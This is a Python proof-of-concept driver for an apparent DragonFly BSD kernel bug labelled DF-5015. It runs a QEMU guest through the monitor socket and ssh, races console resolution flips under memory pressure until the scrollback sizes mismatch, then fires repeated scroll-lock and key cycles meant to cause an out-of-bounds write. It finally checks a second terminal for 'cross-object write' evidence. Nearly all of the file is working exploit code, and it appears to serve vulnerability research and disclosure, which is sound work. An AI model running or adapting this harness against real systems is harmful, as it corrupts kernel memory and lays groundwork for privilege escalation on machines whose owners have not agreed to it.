#!/usr/bin/env python3
"""DF-5015 host driver: key injection via QEMU monitor + guest cmds via ssh.

stages:
  baseline   -- no pressure; matched history; End view shows marker once (row 59)
  hunt [min] -- pressure on; flip loop on; detect mismatch: End view shows
                MARKERX 2+ times (25-row ring wraps inside the 60-row view)
  fire K     -- repeat OOB-write key cycles (SLK on -> key(save=OOB write)
                -> SLK off(restore re-arms negative tail))
  check      -- view ttyv1 (victim) history; Z rows == cross-object write
"""
import socket, subprocess, sys, time

SOCK = "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/boot-mon.sock"
VMDIR = "/home/maxx/dfbsd/dfbsd/dfbsd-qemu"

class Mon:
    def __init__(self, path=SOCK):
        self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self.s.connect(path)
        try: self.s.recv(65536)
        except Exception: pass
    def cmd(self, c, wait=0.02):
        self.s.send(c.encode() + b"\n")
        time.sleep(wait)
        try:
            self.s.settimeout(0.5)
            return self.s.recv(65536).decode(errors="replace")
        except Exception:
            return ""
    def key(self, name, hold=0.15):
        self.cmd(f"sendkey {name}", wait=0.01)
        time.sleep(hold)

class Slk:
    """track scroll-lock state of the ACTIVE scp (query its own tty)"""
    def __init__(self, m, vty=0):
        self.m = m
        self.vty = vty
    def hw(self):
        out = run_root(f"/tmp/df5015 slkstate {self.vty}")
        return out.strip().endswith("1")
    def press(self):
        self.m.key("scroll_lock")
    def set(self, want):
        for _ in range(3):
            if self.hw() == want:
                return
            self.press()

def run_root(cmd, timeout=90):
    p = subprocess.run(["./vm.sh", "run_root", cmd], cwd=VMDIR,
                       capture_output=True, text=True, timeout=timeout)
    return (p.stdout + p.stderr).strip()

def marker_rows(shot):
    rows = []
    for line in shot.splitlines():
        n, sep, row = line.partition("|")
        if sep and row.startswith("MARKERX"):
            try: rows.append(int(n))
            except ValueError: pass
    return rows

def z_rows(shot):
    return sum(1 for line in shot.splitlines()
               if line.partition("|")[2].count("Z") > 60)

def view_oldest(m, slk, vty=0, marker="MARKERX"):
    """mark, enter browse, press End (oldest view), shoot, leave browse"""
    run_root(f"/tmp/df5015 mark {vty} {marker}")
    slk.set(True)
    m.key("end")
    shot = run_root(f"/tmp/df5015 shot {vty}")
    slk.set(False)
    return shot

def stage_baseline(m):
    slk = Slk(m)
    print(run_root("/tmp/df5015 arm"))
    print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))
    run_root("touch /tmp/DF5015_STOP")
    print(run_root("/tmp/df5015 flip 1 2000 0"))     # ends in 80x60
    shot = view_oldest(m, slk)
    rows = marker_rows(shot)
    print("MARKER rows:", rows, "(matched => exactly one, row 59)")

def stage_hunt(m, minutes=6):
    slk = Slk(m)
    run_root("rm -f /tmp/DF5015_STOP")
    run_root("/tmp/df5015 flip 1 0 1500")          # return to 80x25, matched
    print(run_root("/tmp/df5015 arm"))
    print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))
    print(run_root("su maxx -c '/tmp/df5015 pressure 4000 >/tmp/pressure.log 2>&1 &'"))
    print(run_root("/tmp/df5015 flip 100000 3000 60 >/tmp/flip.log 2>&1 &"))
    deadline = time.time() + minutes * 60
    attempt = 0
    while time.time() < deadline:
        attempt += 1
        shot = view_oldest(m, slk)
        rows = marker_rows(shot)
        if len(rows) >= 2:
            print(f"attempt {attempt}: MISMATCH! marker rows {rows} "
                  f"(25-row ring wraps inside 60-row view)")
            run_root("touch /tmp/DF5015_STOP")   # freeze in 80x60
            time.sleep(1.0)                      # let the flip loop exit
            return True
        if attempt % 10 == 0:
            print(f"attempt {attempt}: matched (rows {rows}), hunting...")
            print(run_root("cat /tmp/pressure.log 2>/dev/null | tail -1"))
    print("hunt: no mismatch window caught")
    run_root("touch /tmp/DF5015_STOP")
    return False

def stage_fire(m, cycles=40):
    slk = Slk(m)
    print(run_root("/tmp/df5015 fill 0 Z 70"))
    for i in range(cycles):
        slk.set(False)          # ensure off
        slk.set(True)           # on
        m.key("home")           # first key: sc_hist_save -> OOB WRITE
        slk.set(False)          # off: sc_hist_restore -> re-arm neg tail
        if i % 10 == 0:
            print(f"fire cycle {i}")
    print("fire done")

def stage_check(m):
    slk = Slk(m, vty=1)
    print(run_root("/tmp/df5015 switch 2"))   # VT_ACTIVATE #2 == ttyv1
    time.sleep(0.5)
    print(run_root("/tmp/df5015 mark 1 VICTIMROW"))
    shot = view_oldest(m, slk, vty=1)
    n = z_rows(shot)
    print(shot[:900])
    print(f"ttyv1 oldest view: {n} full Z rows "
          f"({'CROSS-OBJECT WRITE CONFIRMED' if n else 'no Z rows seen'})")
    print(run_root("/tmp/df5015 switch 0"))

if __name__ == "__main__":
    m = Mon()
    stage = sys.argv[1] if len(sys.argv) > 1 else "baseline"
    if stage == "baseline":
        stage_baseline(m)
    elif stage == "hunt":
        ok = stage_hunt(m, minutes=int(sys.argv[2]) if len(sys.argv) > 2 else 6)
        if ok:
            stage_fire(m)
            stage_check(m)
    elif stage == "fire":
        stage_fire(m, int(sys.argv[2]) if len(sys.argv) > 2 else 40)
        stage_check(m)
    elif stage == "check":
        stage_check(m)